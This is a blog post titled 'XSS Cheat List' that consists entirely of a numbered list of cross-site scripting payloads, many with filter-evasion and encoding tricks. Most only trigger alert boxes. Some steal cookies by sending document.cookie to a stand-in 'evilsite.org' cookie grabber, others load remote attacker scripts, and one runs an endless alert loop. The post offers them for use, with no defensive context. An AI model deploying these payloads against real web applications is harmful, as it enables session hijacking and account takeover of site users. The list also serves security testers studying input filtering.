Home » Hacking » XSS CHEAT LIST

XSS CHEAT LIST

in - on 09:39 - No comments

  1. <script>alert(1);</script>
  2.  
  3. <script>alert('XSS');</script>
  4.  
  5. <script src="http://www.evilsite.org/cookiegrabber.php"></script>
  6.  
  7. <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script>
  8.  
  9. <scr<script>ipt>alert('XSS');</scr</script>ipt>
  10.  
  11. <script>alert(String.fromCharCode(88,83,83))</script>
  12.  
  13. <img src=foo.png onerror=alert(/xssed/) />
  14.  
  15. <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
  16.  
  17. <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
  18.  
  19. <marquee><script>alert('XSS')</script></marquee>
  20.  
  21. <IMG SRC=\"jav&#x09;ascript:alert('XSS');\">
  22.  
  23. <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">
  24.  
  25. <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">
  26.  
  27. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  28.  
  29. "><script>alert(0)</script>
  30.  
  31. <script src=http://yoursite.com/your_files.js></script>
  32.  
  33. </title><script>alert(/xss/)</script>
  34.  
  35. </textarea><script>alert(/xss/)</script>
  36.  
  37. <IMG LOWSRC=\"javascript:alert('XSS')\">
  38.  
  39. <IMG DYNSRC=\"javascript:alert('XSS')\">
  40.  
  41. <font style='color:expression(alert(document.cookie))'>
  42.  
  43. '); alert('XSS
  44.  
  45. <img src="javascript:alert('XSS')">
  46.  
  47. <script language="JavaScript">alert('XSS')</script>
  48.  
  49. [url=javascript:alert('XSS');]click me[/url]
  50.  
  51. <body onunload="javascript:alert('XSS');">
  52.  
  53. <body onLoad="alert('XSS');"
  54.  
  55. [color=red' onmouseover="alert('xss')"]mouse over[/color]
  56.  
  57. "/></a></><img src=1.gif onerror=alert(1)>
  58.  
  59. window.alert("Bonjour !");
  60.  
  61. <div style="x:expression((window.r==1)?'':eval('r=1;
  62.  
  63. alert(String.fromCharCode(88,83,83));'))">
  64.  
  65. <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
  66.  
  67. "><script alert(String.fromCharCode(88,83,83))</script>
  68.  
  69. '>><marquee><h1>XSS</h1></marquee>
  70.  
  71. '">><script>alert('XSS')</script>
  72.  
  73. '">><marquee><h1>XSS</h1></marquee>
  74.  
  75. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
  76.  
  77. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">
  78.  
  79. <script>var var = 1; alert(var)</script>
  80.  
  81. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  82.  
  83. <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
  84.  
  85. <IMG SRC='vbscript:msgbox(\"XSS\")'>
  86.  
  87. " onfocus=alert(document.domain) "> <"
  88.  
  89. <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
  90.  
  91. <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
  92.  
  93. perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
  94.  
  95. perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
  96.  
  97. <br size=\"&{alert('XSS')}\">
  98.  
  99. <scrscriptipt>alert(1)</scrscriptipt>
  100.  
  101. </br style=a:expression(alert())>
  102.  
  103. </script><script>alert(1)</script>
  104.  
  105. "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  106.  
  107. [color=red width=expression(alert(123))][color]
  108.  
  109. <BASE HREF="javascript:alert('XSS');//">
  110.  
  111. Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
  112.  
  113. "></iframe><script>alert(123)</script>
  114.  
  115. <body onLoad="while(true) alert('XSS');">
  116.  
  117. '"></title><script>alert(1111)</script>
  118.  
  119. </textarea>'"><script>alert(document.cookie)</script>
  120.  
  121. '""><script language="JavaScript"> alert('X \nS \nS');</script>
  122.  
  123. </script></script><<<<script><>>>><<<script>alert(123)</script>
  124.  
  125. <html><noalert><noscript>(123)</noscript><script>(123)</script>
  126.  
  127. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  128.  
  129. '></select><script>alert(123)</script>
  130.  
  131. '>"><script src = 'http://www.site.com/XSS.js'></script>
  132.  
  133. }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
  134.  
  135. <SCRIPT>document.write("XSS");</SCRIPT>
  136.  
  137. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
  138.  
  139. ='><script>alert("xss")</script>
  140.  
  141. <script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
  142.  
  143. <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
  144.  
  145. ">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
  146.  
  147. ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
  148.  
  149. src="http://www.site.com/XSS.js"></script>
  150.  
  151. data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
Labels:

Post a Comment